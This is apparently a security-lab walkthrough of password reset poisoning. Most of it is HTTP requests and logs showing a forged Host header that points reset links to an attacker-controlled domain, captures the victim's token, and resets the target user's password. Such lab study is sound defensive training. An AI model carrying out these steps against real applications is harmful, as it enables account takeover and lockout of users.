Basic password reset poisoning via Host Header
Situation
We have a web application with a login and password reset feature. As a user, we can ask the app to send us an email to reset our password, in case we forget it.
What we want to do, is to trick the app into embedding the email with a malicious link that we have control over. Then leverage this to steal any user’s account and locking them out.
Recon
First let’s explore the app. We want to check what happens if we want to reset our own password. So we fire up Burp Suite, go to the “forgot password” page and fill-up the form, then intercept the request after submitting the form. Here’s what we got:
POST /forgot-password HTTP/1.1
Host: target-host.com...
Connection: close
csrf=r2z2cY2gtaTZeth8luJAnZ1IUf6Mj5Ab&username=molamk
We check our mail box, and sure enough we get our password reset email with a regular link:
Sent: 2020-10-18 03:21:59 +0000
From: no-reply@target-host.com
To: molamk@malicious-host.com
Subject: Account recovery
Hello!
Please follow the link below to reset your password.
https://target-host.com/forgot-password?temp-forgot-password-token=anwE3rD06hHZxW0Jpds5gDMgluoyHFwQ
Thanks,
Support team
Strategy
The Host
header in the highlighted line is what we’ll focus on. Suppose we control a server on malicious-host.com
for example, we want to see if it’s reflected in any part of the response. So we try the same request, we intercept it in Burp and edit the Host
header.
POST /forgot-password HTTP/1.1
Host: malicious-host.com...
Connection: close
csrf=r2z2cY2gtaTZeth8luJAnZ1IUf6Mj5Ab&username=molamk
We check our mail box, and there it is. We are able to manipulate the password reset link as shown below:
Sent: 2020-10-18 03:19:09 +0000
From: no-reply@target-host.com
To: molamk@malicious-host.com
Subject: Account recovery
Hello!
Please follow the link below to reset your password.
https://malicious-host.com/forgot-password?temp-forgot-password-token=faiY1Pidohy4Jahj
Thanks,
Support team
While this is good, it’s not enough to properly exploit our finding. Since we control the destination URL, we can set-up a basic logger to see incoming requests on that endpoint. When someone clicks on the link, we’ll have the full URL, which includes the temp-forgot-password-token
. So we click ourselves on the link:
2020-10-18 03:29:39 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:39 +0000 "GET /resources/js/labHeader.js HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:40 +0000 "GET /resources/images/logoAcademyDark.svg HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:40 +0000 "GET /resources/images/ps-lab-notsolved.svg HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:45 +0000 "GET /forgot-password?temp-forgot-password-token=faiY1Pidohy4Jahj HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"2020-10-18 03:29:53 +0000 "POST / HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
The highlighted line is what we’re looking for, as we can see the token is faiY1Pidohy4Jahj
. So we grab that token, and replace the host with the legitimate one, effectively going to the URL https://target-host.com?forgot-password?temp-forgot-password-token=faiY1Pidohy4Jahj
.
We fill out the form and intercept the HTTP call, which give us this request:
POST /forgot-password?temp-forgot-password-token=faiY1Pidohy4Jahj HTTP/1.1Host: target-host.com
...
Connection: close
csrf=r2z2cY2gtaTZeth8luJAnZ1IUf6Mj5Ab&temp-forgot-password-token=faiY1Pidohy4Jahj&new-password-1=hello&new-password-2=hello
Exploit
Now that we have all the pieces, let’s exploit a target going by the handle carlos
. So we fire up the password reset request, either from the website on the “forgot password” form, or directly through HTTP POST
.
Notice the malicious Host
header in which we inject the domain that we control.
POST /forgot-password HTTP/1.1
Host: malicious-host.com...
Connection: close
csrf=POeGUhsNK6xGz5bj8vxxpQMnqt89TNKv&username=carlos
We wait for carlos
to click on the password reset link in inbox. And sure enough we get the log entry:
2020-10-18 03:29:39 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:39 +0000 "GET /resources/js/labHeader.js HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:40 +0000 "GET /resources/images/logoAcademyDark.svg HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:40 +0000 "GET /resources/images/ps-lab-notsolved.svg HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
2020-10-18 03:29:45 +0000 "GET /forgot-password?temp-forgot-password-token=ohjang2MoBidiay4 HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"2020-10-18 03:29:53 +0000 "POST / HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
As we can see, the temp-forgot-password-token
in this case is ohjang2MoBidiay4
. We grab that and build the URL with the legitimate host, which gives us https://target-host.com?forgot-password?temp-forgot-password-token=ohjang2MoBidiay4
. And we send the request to actually reset the password for our target user:
POST /forgot-password?temp-forgot-password-token=ohjang2MoBidiay4 HTTP/1.1Host: target-host.com
...
Connection: close
csrf=r2z2cY2gtaTZeth8luJAnZ1IUf6Mj5Ab&temp-forgot-password-token=ohjang2MoBidiay4&new-password-1=hello&new-password-2=hello
Now we can login as carlos
with the password of our own choosing, namely hello
.